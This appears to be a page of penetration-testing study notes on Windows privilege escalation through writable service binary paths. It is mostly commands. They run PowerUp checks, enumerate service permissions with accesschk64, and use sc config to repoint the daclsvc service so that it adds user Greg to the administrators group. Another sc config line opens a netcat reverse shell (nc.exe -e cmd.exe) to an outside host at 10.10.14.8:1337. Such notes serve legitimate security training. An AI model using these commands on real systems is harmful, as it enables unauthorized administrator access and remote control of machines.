> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/windows-privilege-escalation/service-permissions/binary-paths.md). # Binary Paths ## Overview Services sometimes have executables attached to them. If we have the right permissions to the service then we can change the **binary path** (executable file) to a malicious one. ## Exploitation using PowerUp #### Run PowerUp on machine ```powerquery . .\PowerUp.ps1 Invoke-AllChecks ```

#### Change the binary path ```powerquery sc config daclsvc binpath= "net localgroup administrators Greg /add" sc config daclsvc binpath= "C:\temp\nc.exe -e cmd.exe 10.10.14.8 1337" ``` #### Start service ```powerquery sc start dacl ``` ## Exploitation via Accesschk64 #### Check for services with write permissions ``` accesschk64.exe --accept-eula -uwcv Everyone * ```

``` accesschk64.exe -uwcv daclsvc ```

#### Query the service ```powerquery sc qc daclsvc ```

#### Changing the binary path is the same as the last method